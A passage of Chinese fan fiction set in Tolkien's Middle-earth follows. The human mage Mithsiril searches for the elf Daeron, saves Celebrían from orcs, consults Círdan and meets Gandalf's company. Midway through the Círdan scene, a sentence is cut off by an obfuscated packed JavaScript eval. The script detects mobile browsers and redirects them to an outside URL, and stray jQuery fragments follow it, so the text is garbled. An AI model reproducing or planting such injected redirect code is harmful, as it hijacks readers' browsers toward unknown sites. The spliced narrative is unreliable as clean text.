他记起商队领队曾经提过,沿着卡拉兹拉斯隘口可以相对快捷的直达西边的埃利阿多地区。虽然领队也严肃警告过,自从奥克占据那片山地后,这条原本就危险的道路变得更加危机四伏。


    “如果你非要西行,最好绕道南边的洛汗隘口。”领队当时这样劝告,“卡拉兹拉斯现在简直就是奥克的狩猎场。”


    但米斯西里尔等不及绕远路。一想到戴隆可能正在某处等待,他就觉得每一天的耽搁都是煎熬。


    山路比想象中更加崎岖,积雪覆盖的小径蜿蜒在陡峭的山崖间,寒风裹挟着冰粒拍打在脸上。米斯西里尔裹紧了外套,这身行头在密林还算过得去,在这里就显得有些单薄了。


    正当他小心地绕过一处结冰的弯道时,风中突然传来打斗的声响。


    米斯西里尔立即伏低身子,借着岩石的掩护悄悄靠近。


    一支不足十人的精灵小队被数十个奥克团团围住,战况惨烈。精灵们背靠背结成圆阵,银甲上已溅满暗色的血污。更让米斯西里尔心头一紧的是,在战圈外围,一个狭小的铁笼被随意丢弃在雪地里,里面关着一位银发的女精灵。她双手紧握栏杆,脸上写满愤怒与不屈。


    米斯西里尔在心中怒骂这些奥克,无论过去多少年,他们都是这副恶毒的模样。


    他站直了身躯,强大的魔力在他周身流转。奥克们注意到这个突然出现的身影,发出威胁性的嚎叫,领头的奥克挥舞着染血的弯刀冲来。


    米斯西里尔抬起手,一道纯净的白光便从掌心迸发,冲在最前面的奥克在触及白光的瞬间化为飞灰。


    其他奥克惊恐地后退,但已经太迟了。米斯西里尔召唤了风暴,狂风和雪花席卷了整个战场,奥克的惨叫声此起彼伏,然后在风雪中戛然而止。


    当最后一片雪花落下时,战场上只剩下呆立的精灵和满地的奥克尸体。


    米斯西里尔快步走向铁笼,将手掌贴在锁眼处。锁具“咔哒”一声弹开。


    “你自由了。”他轻声对笼中的女精灵说。


    然而女精灵只是虚弱地抬眼看了他一眼便晕厥过去。米斯西里尔只好小心地将她抱出铁笼,发却现她身上有多处伤痕,最严重的是肩头一道深可见骨的刀伤。


    幸存的精灵们这时才回过神来,纷纷围拢过来。一个年轻精灵急切地检查女精灵的状况,脸色变得苍白。


    “凯勒布莉安夫人伤得很重,”他声音颤抖,“必须尽快送回瑞文戴尔。”


    趁着间隙,米斯西里尔忍不住问起那个一直萦绕在心头的疑问:“你们可知道多瑞亚斯现在如何了,那里还好吗?”


    精灵们交换了一个复杂的眼神。年轻的那个犹豫着开口:“多瑞亚斯早已不存在了。在愤怒之战后,整个贝烈瑞安德都沉入了海底。”


    米斯西里尔的手猛地一颤,他难以置信地看着说话的精灵:“整个贝烈瑞安德都沉没了吗?”


    “是的,”另一个年长些的精灵低声说,“那是第一纪元末的事情了,维拉用海水洗净了那片土地的悲伤。”


    米斯西里尔呆立原地,那些与戴隆共度的时光全都沉入了冰冷的海底。他想起最后一次见到多瑞亚斯时,那片森林还沐浴在金色的阳光下,如今却已成为海底的传说。


    他强压下心中的悲伤,目光扫过这些惊魂未定的精灵,终于问出了另一个一直萦绕在心的问题:“你们可曾听说过一位名叫戴隆的吟游诗人?他是辛达族的精灵,从前居住在多瑞亚斯。”


    精灵们面面相觑。年轻的那个犹豫着开口:“戴隆……我好像听过这个名字,但那是很久以前的事情了。”


    另一个精灵补充道:“据说他曾经是辛葛宫廷的朝臣。”


    米斯西里尔闻言后忍不住流露出失望的神色。


    “您找的这位精灵……”年轻精灵小心翼翼地问,“会不会已经西渡前往蒙福之地了?”


    这句话如同惊雷在米斯西里尔耳边炸响,他从未想过戴隆西渡的可能。在记忆里,戴隆永远会在微光池塘边等待着他。


    “如果他还留在中洲,”另一个精灵建议道,“您该去灰港问问奇尔丹,他是最年长的精灵之一,或许能从他那里得到一点消息。”


    “但如果他已经西渡……”年轻精灵没有说完,但意思再明白不过。


    米斯西里尔沉默良久,望着怀中昏迷的凯勒布莉安。“我护送你们到安全的地方。“


    他们沿着山路继续前行。米斯西里尔始终小心地抱着昏迷的凯勒布莉安。精灵们跟在他身后,时而投来感激又好奇的目光。


    在一处山谷里,他们遇到了前来接应的瑞文戴尔巡逻队。领队的精灵看到凯勒布莉安的伤势后脸色大变,立即安排人手准备护送她回去。


    “感谢您的援手,”领队郑重地对米斯西里尔说,“瑞文戴尔永远不会忘记这份恩情。”


    米斯西里尔只是轻轻点头。在目送精灵队伍消失在蜿蜒的山路尽头后,他转身望向西边。灰港是他下一个目的地。


    当米斯西里尔终于抵达灰港时,海风正带着咸涩的气息扑面而来。这座精灵港口宁静而美丽,白色的建筑依着海湾展开,数艘优雅的白船停泊在码头边。


    这里的精灵们用惊奇的目光注视着这个突然到访的人类——很少有凡人会来到这个精灵西渡的港口。


    米斯西里尔在码头上徘徊片刻,最终在一处造船工坊里找到了奇尔丹。这位造船者正在指导工匠们修缮一艘白船的船身,银灰色的长发在海风中轻轻飘动。米斯西里尔满怀好奇地看着奇尔丹,他第一次见到长胡子的精灵。


    “远道而来的旅者,”奇尔丹放下手中的工具,目光打量着米斯西里尔,“灰港很少接待人类访客。”


    米斯西里尔微微颔首致意。“我在寻找


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098235|191327||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一位名叫戴隆的精灵,听说您可能知道他的下落。”


    奇尔丹没有询问米斯西里尔的身份,这让他暗自松了口气。奇尔丹沉思片刻,缓缓说道:“是的,我认识戴隆。贝烈瑞安德沉没后,他在林顿居住了很长一段时间,一直在等待某位朋友的归来。”


    米斯西里尔心中一喜,正要追问时,奇尔丹却摇了摇头:“但他早已离开林顿,现在居住在洛丝罗瑞恩,那里是凯勒博恩和加拉德瑞尔的领地。”


    这两个名字倒是唤醒了米斯西里尔的一些回忆。


    他当然还记得凯勒博恩。早在第一纪元时,他就听说过凯勒博恩与加拉德瑞尔之间的情愫。那时他和戴隆还私下打赌,猜测这对有情人何时会缔结婚约,虽然戴隆始终拒绝参与这个赌约。


    如今看来,他们不仅成婚了,还共同统治着一片领地。


    “请问洛丝罗瑞恩该怎么走?”米斯西里尔急切地追问。


    奇尔丹凝视着他。米斯西里尔知道必须表明身份了:“我是米斯西里尔,是戴隆的好友。我刚刚重返中洲,迫切想要找到他。”


    令米斯西里尔欣慰的是,奇尔丹并没有像瑟兰迪尔那样将他视为骗子,他只是若有所思地点点头:“命运总是出人意料。洛丝罗瑞恩在东方的金色森林中,但我要提醒你,不要试图强行闯入那片土地。”


    米斯西里尔郑重道谢,在灰港停留数日后便踏上了新的旅程。临行前,奇尔丹赠予他精灵的衣物,他得以换下了那身粗糙的衣物。


    前往洛丝罗瑞恩的路途漫长而曲折。米斯西里尔穿越刚铎的边境,渡过安都因河的支流,一路上不断遇到需要帮助的人们。


    虽然魔苟斯早已被封印,但黑暗从未真正远离。米斯西里尔一边继续寻找戴隆,一边履行着守护者的职责,就像在第一纪元时做的那样。


    直到多年后的秋日黄昏,当米斯西里尔路过冬青郡附近时,一股熟悉而强大的力量波动引起了他的注意。那感觉与当年美丽安给他的感受一模一样,却又有所不同——更加内敛,仿佛被什么所束缚。


    他循着感应走进一片林地,发现了一队正在休息的旅人。他们其中有两个年轻的人类、一个精灵、一个矮人还有四个像孩子一样的霍比特人。


    队伍中的一位手持木杖的白须老者吸引了他的目光。米斯西里尔心中凛然,他感觉得到,这老者必然是一位爱努,虽然不知为何选择了年迈的人类形体,力量也似乎受到压制,但他绝对不会感应错。


    甘道夫同样注意到了这个不期而至的陌生人。巫师站起身,警惕地打量着米斯西里尔,烟斗在手中微微握紧。


    “说明你的来意,陌生的旅者。”


    米斯西里尔权衡片刻,决定坦诚相告。他直视着巫师睿智的双眼,平静地说道:“我在寻找一位失散的朋友,一位精灵,名为戴隆。我在此世仅此一个目的。”